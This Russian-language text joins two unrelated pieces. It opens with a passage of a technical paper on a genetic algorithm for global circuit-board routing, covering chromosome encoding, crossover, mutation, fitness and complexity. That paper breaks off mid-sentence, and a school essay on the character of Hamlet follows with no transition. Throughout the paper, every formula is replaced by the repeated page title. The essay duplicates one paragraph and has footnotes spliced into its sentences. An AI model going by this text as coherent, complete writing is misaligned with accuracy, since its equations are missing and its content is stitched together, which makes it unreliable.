Для цепи t1 множество связуемых вершин – Х1 = {x6, x2, х11}. Для цепи t2 множество связуемых вершин – Х2 = {x7, x9, x13 }. Для цепи t3 множество связуемых вершин – Х3 = {x5, x14}. С помощью алгоритма Прима для каждой цепи строится минимальное связывающее дерево МСД. Для каждой из цепей это выглядит так:рис. 4.

Генетический алгоритм глобальной трассировкиПосле этого для каждого ребра rij МСД формируется набор вариантов маршрутов, связывающих на графе G соответствующие вершины.

Ребро г11 (то есть первое ребро МСД для цепи 1) имеет два варианта прохождения маршрута r11 = {v111, v112}:  v111={x6,x1,x2}, v112={x6,x7,x2}.

Ребро r12 (второе ребро цепи 1) имеет один вариант V121={x6,x11}

Ребро г21 (то есть первое ребро МСД для цепи 2) имеет два варианта прохождения маршрута   r21={v211,v212} : v211={x7,x8,x13}   v212={x7,x12,x13}.

Ребро r22 имеет два варианта v221={x13,x8,x9}, v222={x13,x14,x9}.

Ребро г31 (то есть первое ребро МСД для цепи 3) имеет три варианта прохождения маршрута, r31 = {v311, v312, v313}, v311={x5,x10,x9,x14}; v312={x5,x4,x9,x14}; v313={x5,x10,x15,x14}.

Для решения представленного на рис. 2. структура хромосомы имеет вид рис. 5

Генетический алгоритм глобальной трассировки

Рис. 5

Число генов равно 5. Гены g1 и g2 соответствуют ребрам r11 и  r12 дерева D1; g3 и g4 соответствуют ребрам r21 и  r22 дерева D2; g5 соответствует ребру r31  дерева D3. Значение g1 равно 2, т.к. для реализации r11 выбран вариант V112.  g2 равно 1, т.к. r12 реализован  вариантом V121.  Аналогично, т.к. r21,r22 и r31 реализованы соответственно вариантами V211, V221 и V313, то g3=1, g4=1, g5=3.

Отметим, что между структурой и видом хромосомы с одной стороны и решением (распределением соединений на КП) с другой стороны существует взаимно — однозначное соответствие. Отличительной особенностью предложенной структуры хромосомы является то, что отсутствует какая либо зависимость между генами, обусловленная самой структурой. Это свойство исключает возможность появления нелегальных хромосом, подобно тому, как это происходит с хромосомами, представляющими собой списковые структуры. В свою очередь это упрощает реализацию рассматриваемых ниже генетических операторов.   

Пусть L – число всех ребер всех МСД. L= число выводов – число цепей. Тогда объем V1 ОЗУ, необходимой для хранения информации об вариантах реализации ребер МСД, будет Генетический алгоритм глобальной трассировки , где nv – число вариантов реализации одного ребра.

Объем V2 ОЗУ необходимый для одной хромосомы Генетический алгоритм глобальной трассировки . К2 помимо всего прочего учитывает необходимость хранения фитнесса хромосомы.

Для популяции состоящей из М хромосом Генетический алгоритм глобальной трассировки.

Таким образом, общий объем памяти Генетический алгоритм глобальной трассировкиимеет линейную зависимость и при заданных параметрах nv и M пространственная сложность алгоритма ~ O(L).

3.2 Формирование исходной популяции

Для организации генетического поиска формируется исходная популяция особей P={Hi|i=1,2,..,M}, где М размер популяции. Популяция Р- представляет собой репродукционную группу – совокупность индивидуальностей, любые две из которых HiÎP и HjÎP, i ¹ j могут размножаться выступая в роли «родителей». Предварительно с помощью процедуры FORM осуществляется разбиение КП на области и формирование модели КП в виде графа W=(X,U). Далее для каждой цепи ti Î Т строится алгоритмом Прима один из вариантов минимального связывающего дерева Di={ri, li=1, … ni}

Затем для каждого rij синтезируется набор Vij вариантов маршрутов в ортогональном графе G, реализующих ребро rij. Пусть nij=| Vij | — число вариантов реализации ребра rij.

Определяется длина L хромосомы, являющейся носителем информации о конкретном решении:

Генетический алгоритм глобальной трассировки

Параметр L определяет число генов в хромосоме. С помощью графика соответствия Q устанавливается соответствие Г(G, Q, R) между генами хромосомы и ребрами минимальных связывающих деревьев для всех цепей.

G={gn| n=1, 2,… ,L}; R={rij| i=1, 2, … ,ni, j=1,2, … ni}

Образом Г(rij) является ген gn. Прообразом Г-1(gn) является ребро rij Значением гена gn, будет номер варианта реализации ребра rij=Г-1(gn) .

Ген gn может принимать любое значение от 1 до nij.

В работе используется принцип случайного формирования исходной популяции.

Для этого в пределах каждой хромосомы Нк каждый ген gn принимает случайное значение в пределах от 1 до nij , где nij  число вариантов реализации ребра rij=Г-1(gn).

Управляемыми параметрами при формировании популяции является М — размер популяции, nmax — максимальное число вариантов реализации ребер, т.е. («ij) [nijГенетический алгоритм глобальной трассировкиnmax]. Если возможное число вариантов nij больше nmax то возникает возможность формирования альтернативных наборов вариантов Vij для rij. Кроме того существует возможность построения альтернативных МСД Di для одной и той же цепи ti.

Все это дает возможность для комбинирования при синтезе исходной популяции. Известно, что для выхода из локальных оптимумов используется механизм смены исходных популяций.

В простейшем случае это можно реализовать с помощью повторной, случайной генерации.

3.3 Генетические операторы

Для получения нового решения (индивидуальности) используются генетические операторы: кроссинговер и мутация.

Кроссинговер заключается во взаимном обмене генами между «родителями» — хромосомами предварительно выбранной пары.

В нашем случае все хромосомы гомологичны, т.к. имеют одну и ту же структуру, одну и ту же длину и несут информацию об одном и том же наборе МСД. Гены, расположенные в одном и том же локусе хромосом, гомологичны, т.к. несут информацию об одном и том же ребре хромосомы.

Предварительно задается величина PK – вероятность кроссинговера и вводится флажок FG с двумя состояниями «выполнять», «не выполнять». Исходное состояние FG «не выполнять». При выполнении кроссинговера последовательно просматриваются локусы выбранной пары хромосом. С вероятностью Pk «флажок» FG переходит в состояние «выполнять». Если FG перешел в состояние «выполнять»,  то производится обмен генами между парой хромосом в текущем локусе, далее «флажок» переходит в состояние «не выполнять», а затем осуществляется переход к следующему локусу.

Такой алгоритм кроссинговера обеспечивает мультиобмен. Число пар обменивающихся генов определяется параметром Pk.

Операция мутации заключается в изменении значения гена. Алгоритм мутации реализуется следующим образом.

Предварительно, для каждого гена gn, определяется диапазон его возможных значений от 1 до yn, где yn – число сформированных вариантов реализации ребра Генетический алгоритм глобальной трассировки.

Задается параметр PM – вероятность мутации и «флажок» FG с двумя состояниями «выполнять» и «не выполнять». Исходное состояние FG – «не выполнять».

Последовательно выбираются хромосомы из текущей популяции. В пределах выбранной хромосомы последовательно просматриваются гены. После перехода к очередному гену, FG с вероятностью PM переходит в состояние «выполнять». Если FG перешел в состояние «выполнять», то случайным образом ген gn принимает одно из значений в заданном диапазоне, за исключением значения, которое ген имеет перед мутацией. Далее FG переходит в состояние «не выполнять» и выбирается следующий ген хромосомы, или следующая хромосома.

Для улучшения процесса поиска лучшего решения введем дифференцируемое значение показателя Генетический алгоритм глобальной трассировки, принимающего различные значения в зависимости от значения гена.

Введем для гена gn оценку Генетический алгоритм глобальной трассировки, где ln – число ребер ui, входящих в маршрут vijk реализующий ребро Генетический алгоритм глобальной трассировки, соответствующее гену gn. Генетический алгоритм глобальной трассировки — число таких ui,, входящих в vijk ,для которых показатель загрузки ci имеет отрицательное значение.

Кn меняется от 0 до 1. Чем больше Kn,  тем  “хуже” маршрут vijk, и тем больше оснований к его смене.

Значение показателя  Генетический алгоритм глобальной трассировки с учетом Кn для гена gn определяется следующим образом

Генетический алгоритм глобальной трассировки

параметр D связан с Pm следующим соотношением

Генетический алгоритм глобальной трассировки,

т.е. D меняется от 0 до (1-Pm).

В предельном случае

Генетический алгоритм глобальной трассировки

Как видно из алгоритмов, реализующих процедуры кроссинговера и мутации, временная сложность операторов кроссинговера и мутации применительно к одной хромосоме имеют линейную зависимость, Генетический алгоритм глобальной трассировки, где L – длина хромосомы.

3.4 Общая структура генетического поиска для глобальной

трассировки

В соответствии с методикой описанной выше на первых подготовительных этапах осуществляется разбиение КП на плоскости. Для всех цепей строятся минимальные связывающие деревья. Для всех ребер МСД формируются наборы вариантов реализующих их соединений. Управляющими параметрами генетической адаптации являются: М – размер исходной популяции, Т – число генераций, PK – вероятность кроссинговера, Pm – вероятность мутации.

После сформирования исходной популяции Пи для каждой индивидуальности рассчитывается фитнесс.

Алгоритм расчета фитнесса имеет следующий вид: в качестве исходных данных используется вектор А={al| l=1,2, …}, где al – пропускная способность ребра ul. Для расчета фитнесса используется вектор B, имеющий ту же размерность, что и вектор А. Вначале  элементы Генетический алгоритм глобальной трассировки имеют нулевое значение.  Вектор В служит для учета загрузки ребер Ur всеми цепями.

Значения Генетический алгоритм глобальной трассировки растут последовательно и, после просмотра всех генов, bl является значением числа цепей, проходящих через ul.

Имея вектора А и В, рассчитываются значения показателей cl=al-bl для каждого ребра ul. На основании значений cl расcчитываются критерии F1, F2 и F3.

Если учесть, что число вариантов имеет фиксированное значение и обычно, не превышает 4-6, то трудоемкость подсчета вектора В линейна и пропорциональна длине хромосом. Трудоемкость процедуры поиска cmin также линейна. В связи с этим трудоемкость tф расчета фитнесса для одной хромосомы имеет линейную зависимость от длины хромосомы tф~O(L).

После расчета фитнесса для исходной популяции применяется оператор кроссинговера.

Селекция родительских пар хромосом осуществляется либо на основе «принципа рулетки», либо на основе рейтинга популяции.

С этой целью все хромосомы популяции сортируются в соответствии с рассчитанными значениями фитнесса. После этого осуществляется селекция пары родственных хромосом по правилу: i — я с i+1 – ой.

Для каждой новой индивидуальности, образованной в результате кроссинговера, расчитывается фитнесс. После кроссинговера текущая популяция ПТ включает исходную ПИ и популяцию ПК , образовавшуюся в результате выполнения кроссинговера.

ПТ=ПИ+ПК.

Далее ко всем индивидуальнастям ПТ применяется оператор мутации. Для всех индивидуальностей популяции ПМ , образовавшихся в результате мутации расчитывается фитнесс. Заключительным этапом в пределах одного поколения является процесс редукции популяции ПТ=ПИ+ПК+ПМ до размеров ПИ на основе селективного отбора. Селекция осуществляется на основе “принципа рулетки”.

Вероятность выбора индивидуальности определяется как:

Генетический алгоритм глобальной трассировки

С помощью коэффициентов Кi, которые для «лучших» индивидуальностей имеют большие значения, чем у «худших», достигаются увеличение вероятности выбора «лучших» индивидуальностей.

Временная сложность алгоритма определяется общими (подготовительными) затратами to и затратами в пределах каждого поколения  td . Общие  затраты складываются из затрат на построении минимальных связывающих деревьев td ,формирование вариантов реализации ребер tb ,и формирования исходной популяции tи: to=td+tb+tи.

Затраты на построение МСД находятся в зависимости от числа МСД. С другой стороны при построении конкретного МСД затраты пропорциональны квадрату числа связываемых вершин . Учитывая , что число ребер n  всех МСД пропорционально  числу МСД , можно считать, что оценка ВСА tо  лежит в пределах О(n)-O(n2), причем чем больше n тем ближе к О(n).

Затраты в пределах поколения tn складываются из затрат на операторы кроссинговера  tк , мутации tm  ,расчета фитнесса tф и селекции tс .

Как уже указывалось выше затраты tк ,tм и  tф при обработке одной хромосомы  имеют линейную зависимость от n . tс  имеет линейную зависимость от объема популяции  М . Тогда временные затраты в пределах поколения имеют оценку О(n×M). Для Т генераций временная сложность алгоритма имеет оценку О(n×M×T) . Учитывая что параметры  М и Т сравнимы или значительно меньше n, можно считать , что оценка временной сложности всего алгоритма в целом лежит в пределах О(n2)-O(n3).

4. Экспериментальные исследования генетического алгоритма глобальной трассировки

Алгоритм глобальной трассировки был реализован на языке С++, экспериментальные исследования проводились на ЭВМ типа IBM PC/AT Pentium 133.

При проведении экспериментальных исследований преследовались две цели:

Первой целью являлось исследование механизмов генетического поиска для задачи глобальной трассировки. Для достижения этой цели исследовалось влияние управляющих операторов, таких как: размер популяции М, число поколений Т, вероятность мутации РМ, вероятность кроссинговера РК. В результате этих исследований определялось такое сочетание значений этих параметров, которое обеспечивает наивысшую эффективность генетических процедур для задачи глобальной трассировки.

Второй целью являлось исследование собственно, эффективности разработанного генетического алгоритма. Исследовались влияния таких параметров, как число вариантов маршрутов для каждого ребра.

Для проведения исследований были синтезированы 5 тестовых примеров.

Основные характеристики примеров.

Использовалось КП с размерами 10*10 (10 дискретов по горизонтали и 10 дискретов по вертикали). Выводы, связываемые цепями, размещались внутри дискретов. В каждом дискрете только один вывод одной цепи. Число выводов, связываемых одной цепью — от 2 до 5. В один дискрет назначалось до 10 выводов. Среднее число цепей — 200 -250. Назначение выводов в дискреты осуществлялось случайным образом.

Оптимизация проводилась по критерию:

                     F1=Генетический алгоритм глобальной трассировки      («i)[Cmin£Ci=ai-bi]

Если оказывалось, что Сmin

Сочинение: Образ главного героя в трагедии В. Шекспира Гамлет

Школа №931

Юго-Западного округа г. Москвы

РЕФЕРАТ по зарубежной литературе на тему: “Образ главного героя в трагедии В. Шекспира “Гамлет” ученицы 9 “Б” класса

Семененко Наталии.

2001-2002

Содержание

№стр

I. Введение 3

II. Гамлет – выразитель взглядов и 5 идей эпохи Возрождения

III. Литературная полемика вокруг 18 образа Гамлета

IV. Вывод 21

V. Список используемой литературы 24

I. Введение

Среди пьес Вильяма Шекспира “Гамлет” — одна из самых известных.
Героем этой драмы вдохновлялись поэты и композиторы, философы и политические деятели.

Огромный круг философских и этических вопросов переплетается в трагедии с вопросами общественными и политическими, характеризующими неповторимую грань XVI и XVII веков.

Шекспировский герой стал пламенным выразителем тех новых взглядов, которые принесла с собой эпоха Возрождения, когда передовые умы человечества стремились восстановить не только утраченное за тысячелетие средневековья понимание искусства древнего мира, но и доверие человека к собственным силам без упований на милости и помощь неба.

Общественная мысль, литература, искусство эпохи Возрождения решительно отбросили средневековые догмы о необходимости ежечасного смирения духа и плоти, отрешенности от всего реального, покорного ожидания того часа, когда человек перейдет в «потусторонний мир», и обратились к человеку с его мыслями, чувствами и страстями, к его земной жизни с ее радостями и страданиями.

Трагедия “Гамлет” – “зеркало”, “летопись века”. В ней отпечаток времени, в которое не только отдельные личности – целые народы оказались как бы между молотом и наковальней: позади, да и в настоящем, — феодальные отношения, уже в настоящем и впереди – буржуазные отношения; там – суеверие, фанатизм, здесь – вольнодумство, но и всемогущество золота.
Общество стало гораздо богаче, но и нищеты стало больше; индивиду куда свободнее, но и произволу стало вольготней.

Государство, в котором живет, изнывая от язв его и пороков, принц
Датский, это вымышленная Дания. Писал же Шекспир о современной ему Англии.
Все в его пьесе – герои, мысли, проблемы, характеры – принадлежит обществу, в котором жил Шекспир.

“Гамлет” наполнен столь глубоким философским содержанием, в трагедии дана такая широкая картина современной Шекспиру жизни, в ней созданы такие грандиозные человеческие характеры, что мысли и чувства писателя, заключенные в этом шедевре шекспировской драматургии, стали близки и созвучны не только его современникам, но и людям иных исторических эпох.
II. Гамлет – выразитель взглядов и идей эпохи Возрождения.

Шекспир вступил в новый XVII век как зрелый и овеянный славой художник. Началось последнее десятилетие его творчества.

Художник с огромной силой выражает мысли и настроения передовых людей своего времени, он создает цикл своих великих трагедий.

По мысли Шекспира природа человека неотрывна от добра. И истоки трагедии писатель видит в расхождении природы человека и его поведения.
Этот конфликт Шекспир наиболее полно и ярко показал в одной из самых своих значительных трагедий “Гамлет”.

Каждое время по-новому переживало ситуации и проблемы этой трагедии. В течении почти четырех веков она служила человечеству зеркалом, в котором каждое поколение рассматривало свое лицо. И всякий раз это лицо было иным.
Сохраняя свой строгий костюм, датский принц представал то пылким, то вялым, то гуманным, то холодным. Почему?

Гамлет — не узко-бытовой образ, но характер, наполненный огромным философским и жизненным содержанием. В образе Гамлета с определенной силой выражено то состояние, которое было типично для множества людей шекспировской эпохи.

Понять героя любой драмы можно исходя из логики самой драмы. Не то с
Гамлетом. Недаром другие персонажи трагедии сравнивают Гамлета сегодня с Гамлетом вчерашним. Вот таким вспоминает прежнего Гамлета Офелия:
“Взор вельможи, меч солдата, язык ученого”1.

Для принца пороки двора — концентрация нравов всей парадной, официальной жизни государства, и

1 Шекспир В. Комедии, хроники, трагедии, собр. в 2-х томах, т.II — М.,
Рипод классик, 2001, стр.197. он так измучен, так раздражен, что едва боковым зрением улавливает другую его сторону.
Как принц, Гамлет хорошо знает, чего стоят так называемые
«высокие» звания и почести, за которыми всегда срываются случайности рождения или прихоти властелина. Гамлет несет в себе луч великой надежды – горячий интерес к будущему человечества. Последнее его желание – сохранить свое “раненое имя” в памяти потомства, и, когда Горацио намеревается допить остаток яда из кубка, чтобы умереть вслед за другом
Гамлет молит его не делать это. Отныне долг Горацио –рассказать людям о том, что произошло с Гамлетом и почему он так страдал.

У Гамлета глубокий и подвижный ум — все схватывает на лету. В аристократической среде держится он непринужденно, отлично зная все винтики и механизм ее этикета, к простым людям не подделывается и не проявляет никакого высокомерия. Не только серьезным своим речам, даже каламбурам, шуткам, остротам всегда придает он глубокомысленный поворот, вследствие чего они кажутся одновременно и доходчивыми, и замысловатыми. Оставаясь наедине с самим собой, Гамлет как бы импровизирует; его раздумья не перепевы общих истин обихода житейского, а самобытные, давно выстраданные и вот здесь, сейчас родившиеся, не успевшие остыть, превратиться в сухие умозаключения. Благочестия в нем ни на йоту, хотя по старинке он верит, что «душа бессмертна», что существуют овеянные небом «благочестивые духи» и «дышащие гиеной проклятые» духи. Он далек от самодовольства, не считает, что все им уже познано — напротив, в окружающем его мире, уверен он, бесконечно много еще неразгаданных тайн. Доверчивый к людям, Гамлет ждет от них откровенности и прямоты, но что поделать, эти душевные качества встречаются крайне редко. Иногда он играет своим остроумием, мастерски пародирует напыщенную манеру своих собеседников и делает это так, что ее плутоватая функция сразу выплывает наружу.

Думает Гамлет не по чужой указке. Физически он — как в железных тисках, во дворце ему — как в тюрьме, единственная его опора против всего света — независимость суждений.

«Вялодушный дурень»1! Многократные укоры Гамлета самому себе — симптомы разобщенности мысли и воли.

“Трусами нас делает раздумье…”2Между тем вялость и трусость не в натуре Гамлета. Вспомним, перед дуэлью с Лаэртом Гамлет страшит его, говоря: “Хоть я не желчен и не опрометчив, но нечто есть опасное во мне, чего мудрей стеречься. Руки прочь!”3. Что Гамлет отважен, он докажет на пути в Англию, когда на его корабль нападут пираты. С обнаженной шпагой в руке, он перескочит на палубу разбойничьего судна и будет сражаться один против целого экипажа.

Неудивительно, ведь Гамлет – “человек судьбы”, к нему сам “рок взывает”, его не страшат никакие предвестия, он полон отваги — поистине
“Немейский лев”. Да и от мщения за отца Гамлет вовсе не уклоняется: безжалостен ко всем, кого считает виновным.

Непреклонность, целостность, пластичность — черты подлинно героического характера, и как раз эти черты в Гамлете полностью отсутствуют.

1 Шекспир В. Комедии, хроники, трагедии, собр. в 2-х томах, т.II —
М., Рипод классик, 2001, стр.190;

2 Шекспир В. Комедии, хроники, трагедии, собр. в 2-х томах, т.II —
М., Рипод классик, 2001, стр.195;

3 Шекспир В. Комедии, хроники, трагедии, собр. в 2-х томах, т.II —
М., Рипод классик, 2001, стр.263.

“Из жалости я должен быть жесток”1, — требует от самого себя Гамлет, когда обвинят свою мать в утрате женского достоинства.

Бывает, что Гамлет теряет над собой контроль, становится невменяем и, подобно врачу, сам себе ставит диагноз: “Я наказан мучительным недугом”2. Лицо Гамлета – то холодная застывшая маска, то по нему скользят гримасы, улыбкой же оно никогда не озаряется.

Саркастические, даже грубые каламбуры Гамлета унизительны для тех, кому они адресованы. Веселых, безобидных каламбуров от Гамлета ждать нечего. Притом он самобытен, “не дудка в пальцах у Фортуны”, из уст его не вылетают стертые, банальные, ходячие словечки, даже грубости его неповторимы.

Гамлет последовательно осознает свою трагедию и ведет борьбу не вслепую, а отчетливо представляя себе, какой перед ним противник.

Герой Шекспира дан крупным планом. Масштаб личности Гамлета возрастает оттого, что не одно созерцание всеобъемлющего зла характеризует героя, но также единоборство с порочным миром.

Противники Гамлета, в свою очередь, не бездействуют, они принимают вызов. Их нельзя недооценивать. Они обусловили трагедию Гамлета. Они
“расшатали” век. Они – конкретные носители порока, виновники беззаконий и разврата, в совокупности своей составляющие враждебный Гамлету мир зла. Они враждебны не только Гамлету.

Гамлет, видно, не освобожден от суеверий, что, в частности, подтверждается его нежеланием убить

1 Шекспир В. Комедии, хроники, трагедии, собр. в 2-х томах, т.II —
М., Рипод классик, 2001, стр.220;

2 Шекспир В. Комедии, хроники, трагедии, собр. в 2-х томах, т.II —
М., Рипод классик, 2001, стр.264.
Клавдия во время молитвы. Но было бы ошибкой искать религиозные мотивы в трагедии Гамлета. Гораздо ближе мы подойдем к истине, если сосредоточим свое внимание на другом. Жизнь стала такой невыносимой, что для умного, честного и бескорыстного Гамлета земное существование теряет смысл.

Благодаря некоторым “отвлекающим” эпизодам углубляется образ Гамлета, его человечность становится не столь суровой, как в тех сценах, где он борется. Теплота души, вдохновение художника, рассчитывающего на взаимопонимание, — таковы те новые штрихи, которые появляются в портрете, когда Шекспир показывает Гамлета, беседующего с актерами.

О целеустремленности Шекспира свидетельствует одна важная деталь в построении образа Гамлета. Принц датский после смерти отца имеет право на престол, он достиг совершеннолетия (правда, не совсем ясно сколько ему лет). Никакие ссылки на незрелость не могли бы оправдать узурпацию престола
Клавдием. Но Гамлет ни разу не заявляет о своих правах, он не стремится сесть на трон. Включи Шекспир этот мотив в трагедию, она бы потеряла многое, прежде всего не столь отчетливо бы выявлялась социальная сущность борьбы Гамлета. Когда Горацио говорит об умершем монархе, что это “истый был король”1, Гамлет уточняет: “Он человек был, человек во всем”. Вот истинная мера всех вещей, высший критерий для Гамлета. Сколько границ в этом сложном образе?

Он непримиримо враждебен к Клавдию. Он по-дружески расположен к актерам. Он грубоват в общении с Офелией. Он обходителен с Горацио. Он сомневается в себе. Он действует решительно и быстро. Он остроумен. Он умело владеет шпагой. Он боится божьей кары. Он богохульствует. Он

1Шекспир В. Пьесы, сонеты — М., Олимп, 2002, стр.398. обличает свою мать и любит ее. Он равнодушен к престолонаследию. Он с гордостью вспоминает отца-короля. Он много думает. Он не может и не хочет сдержать свою ненависть. Вся эта богатейшая гамма меняющихся красок воспроизводит величие человеческой личности, подчинена раскрытию трагедии человека.

Трагедию о Гамлете все единогласно считают загадочной. Всем кажется, что она отличается от остальных трагедий самого Шекспира и других авторов прежде всего тем, что непременно вызывает некоторое непонимание и удивление зрителя.

Трагедия может совершать невероятные эффекты с нашими чувствами, она заставляет их постоянно превращаться в противоположные, обманываться в своих ожиданиях, наталкиваться на противоречия, раздваиваться; и когда мы переживаем “Гамлета”, нам кажется, что мы пережили тысячи человеческих жизней в один вечер, и точно – мы успели почувствовать больше, чем в целые годы нашей обычной жизни. И когда мы вместе с героем начинаем чувствовать, что он более не принадлежит себе, что он делает не то, что он делать был бы должен, — тогда именно трагедия вступает в свою силу. Замечательно выражает это Гамлет, когда в письме к Офелии клянется ей в вечной любви до тех пор, пока “эта машина” принадлежит ему. Русские переводчики обыкновенно передают слово “машина” словом “тело”, не понимая, что в этом слове самая суть трагедии (в переводе Б. Пастернака: “Твой навеки, драгоценнейшая, пока цела эта машина”1).

Самое ужасное в сознании эпохи было то, что перерождался объект ее самой глубокой веры –

1Шекспир В. Пьесы, сонеты — М., Олимп, 2002, стр.426.

Человек. Вместе с этим сознанием приходила боязнь поступка, действия, ибо с каждым шагом человек все далее продвигался в глубь несовершенного мира, становился причастным его несовершенствам: «Так всех нас в трусов превращает мысль…” 1

Почему медлит Гамлет? Сакраментальный вопрос, на который отчасти уже дан ответ. Поэтому зададим другой: “А откуда нам известно, что он медлит?”
Прежде всего, от Гамлета, казнящего, понукающего себя к действию.

Завершая второй акт, Гамлет, наконец, произнесет нужное слово и как будто в нужном тоне – в монологе после сцены с актерами, согласившимися сыграть пред королем-узурпатором изобличающую его пьесу. Для полноты сходства событий, с убийством его отца Гамлет допишет несколько строк, и
“мышеловка” будет готова. Договорившись об ее исполнении, Гамлет остается один, вспоминает актера, читавшего ему монолог, восхищен сыгранной тем страстью, хотя, казалось бы “что он Гекубе? Что ему Гекуба?”2. Но это – достойный пример для подражания ему, Гамлету, имеющему действительный повод потрясти небо и землю. Он же молчит, когда ему следует воскликнуть: “О мщенье! ”3

Гамлет вырвал, наконец, у себя это слово, чтобы тут же одуматься и одернуть себя: “Ну и осел я, нечего сказать”.
Гамлет откровенно идет на разрыв с ролью трагического героя, не умея и, как оказывается, не желая выступить привычным публике героем-мстителем.

1 Шекспир В. Пьесы, сонеты — М., Олимп, 2002, стр. 447;

2 Шекспир В. Пьесы, сонеты — М., Олимп, 2002, стр. 443;

3 Шекспир В. Пьесы, сонеты — М., Олимп, 2002, стр. 443.

Тем более что эту роль есть, кому сыграть. Показать ее в исполнении сможет актер, участвующий в “мышеловке”, а непосредственно воплотить –
Лаэрт, Фортинбрас… Гамлет готов восхититься их решимостью, их чувством чести, но не может не ощущать бессмысленность их деяний: “Двух тысяч душ, десятков тысяч денег / Не жалко за какой-то сена клок!”1. Так Гамлет отзывается на поход Фортинбраса в Польшу.

На этом героическом фоне отчетливее проступает бездеятельность самого
Гамлета, диагноз которой ставят уже два столетия: слаб, нерешителен, подавлен обстоятельствами, наконец, болен.

Иными словами, такова божественная справедливость, воплощенная мировым законом бытия, который может быть подорван: если кому-то причинено зло, значит, зло причинено всем, зло проникло в мир. В акте мщения восстанавливается гармония. Отказавшийся от мести выступает соучастником ее уничтожения.

Таков закон, от которого дерзает отступить Гамлет. Шекспир и зрители его эпохи, безусловно, понимали, от чего он отступил в своей медлительности. И сам Гамлет хорошо знает роль мстителя, которую он никак на себя не примет.

Гамлет знает, для чего он рожден, но найдет ли он силы исполнить свое предназначение? И вопрос этот относится не к его человеческим качествам: силен он или слаб, вял или решителен. Всей трагедией подразумевается вопрос не о том, каков Гамлет, а о том, каково его место в мире. Это предмет трудного раздумья, его смутных догадок.

Гамлет выбрал мысль, сделавшись “первым рефлектирующим”, а через это
— первым героем мировой литературы, пережившим трагедию

1 Шекспир В. Пьесы, сонеты — М., Олимп, 2002, стр. 487. отчуждения и одиночества, погруженным в самого себя и свои мысли.

Катастрофично отчуждение Гамлета, нарастающее по ходу действия.
Довершается его разрыв с прежде близкими людьми, с прежним собой, со всем миром представлений, в котором он жил, с прежней верой… Смерть отца потрясла его и породила подозрения. Поспешный брак матери положил начало его разочарованию в человеке и, особенно – в женщине, разрушил его собственную любовь.

Любил ли Гамлет Офелию? Любила ли она его? Этот вопрос постоянно возникает при прочтении трагедии, но не имеет ответа в ее сюжете, в котором отношения героев не строятся как любовные. Они сказываются иными мотивами: отцовским запретом Офелии принимать сердечные излияния Гамлета и ее повиновением родительской воле; любовным отчаянием Гамлета, подсказанным его ролью сумасшедшего; подлинным безумием Офелии, сквозь которое словами песен прорываются воспоминания о том, что было, или о том, что не было между ними. Если любовь Офелии и Гамлета существует, то лишь прекрасная и невоплощенная возможность, намеченная до начала сюжета и уничтоженная в нем.

Офелия не разбивает круг трагического одиночества Гамлета, напротив, дает ему острее почувствовать это одиночество: ее превращают в послушное орудие интриги и делают опасной приманкой, на которую принца пытаются поймать. Судьба Офелии не менее трагична, чем судьба Гамлета, и еще более трогательна, но каждый из них отдельно встречает свою судьбу и переживает свою трагедию.

Офелии не дано понять, что Гамлет – человек философской мысли, что в страданиях мысли, правдивой, требовательной, бескомпромиссной, — жребий
Гамлета, что гамлетовское “я обвиняю” передает невыносимость его положения в конкретном мире, где извращены все понятия, чувства, связи, где кажется ему, что время остановилось и “так есть, так будет” вечно.

Отчужденный от семьи, от любви, Гамлет теряет веру и в дружбу, преданный Розенкранцем и Гильденстерном. Их он отправляет на смерть, которая была уготовлена ему при их, пусть невольном, содействии. Все время казнящий себя за бездеятельность, Гамлет успевает немало совершить в трагедии.

Говорят даже о двух Гамлетах: Гамлете действия и Гамлете монологов, весьма между собой различных. Колеблющийся и размышляющий – второй; над первым же еще сохраняет власть инерция общепринятого, инерция самой жизни.
И даже инерция собственного характера, как мы можем судить, по своей природе отнюдь не слабого, решительного во всем, пока дело не касается главного решения – мстить. Гамлет – просветившийся в гуманизме человек, которому ради выяснения истины приходится совершить шаг назад, к средневековым понятиям о “совести” и “стране, откуда никто не возвращался”. “Совесть”, как и гуманизм, стала современным для нас словом, изменив, расширив свое изначальное содержание. Нам уже очень трудно представить себе, как то же слово воспринималось шекспировской аудиторией, обозначая для нее прежде всего страх перед загробным наказанием за свои земные поступки, тот самый страх, от которого новое сознание стремилось освободиться. К людям народа влечет душу Гамлета, к Гамлету – их души, “к нему пристрастна буйная толпа”1, но это их взаимное тяготение не приводит к их соединению. Трагедия Гамлета – это и трагедия народа.

Задумываясь о смысле человеческого

1 Шекспир В. Комедии, хроники, трагедии, собр. в 2-х томах, т.II — М.,
Рипод классик, 2001, стр.224. существования, Гамлет произносит самый волнующий и глубокий из своих монологов, первые слова которого давно уже стали крылатым выражением: “Быть или не быть, вот в чем вопрос”1. Этот монолог содержит целый клубок вопросов. Тут загадка “безвестного края, откуда нет возврата земным скитальцам”, и многое другое. Но главное – выбор поведения в жизни. Быть может, “покорятся пращам и стрелам яростной судьбы?” – спрашивает себя
Гамлет. “Иль, ополчась на море смут, сразить их противоборством?”. Вот выход, в самом деле, героический. Не для того же создан человек “с мыслью столь обширной, глядящей и вперед и вспять”2, чтобы “богоподобный разум… праздно плесневел”!

Гамлета чаще влечет к философским раздумьям, но уж если судьба вручила ему титаническую миссию восстановить нравственное здоровье рода человеческого, навсегда избавить людей от подлости и негодяйства, Гамлет от этой миссии не отказывается. После этого не слабохарактерностью
Гамлета объяснять надо его метания, колебания, умственные и эмоциональные тупики, а историческими условиями, когда народные бунты кончались поражением. Слиться с народом – ни в его борьбе, ни в его временной покорности – Гамлет не мог.

Гамлет несет в себе луч великой надежды – горячий интерес к будущему человечества. Последнее его желание – сохранить свое “раненое имя” в памяти потомства, и, когда Горацио намеревается допить остаток яда из кубка, чтобы умереть вслед за другом, Гамлет молит его не делать это. Отныне долг
Горацио –рассказать людям о том, что произошло с Гамлетом и почему он так страдал.

1 Шекспир В. Комедии, хроники, трагедии, собр. в 2-х томах, т.II — М.,
Рипод классик, 2001, стр.194;

2 Шекспир В. Комедии, хроники, трагедии, собр. в 2-х томах, т.II — М.,
Рипод классик, 2001, стр.229.
Гамлет молит его не делать это. Отныне долг Горацио –рассказать людям о том, что произошло с Гамлетом и почему он так страдал.

Трагичен ли образ Гамлета? Ведь так часто это оспаривается.
Спрашивают, разве Гамлет не падает духом от малейшей неудачи, разве не растрачивается впустую весь его пыл, не попадают удары его мимо цели? Да, но это потому, что хочется ему большего, чем он в состоянии выполнить, и потому отвага его растрачивается впустую. Ведь самое страшное в трагедии
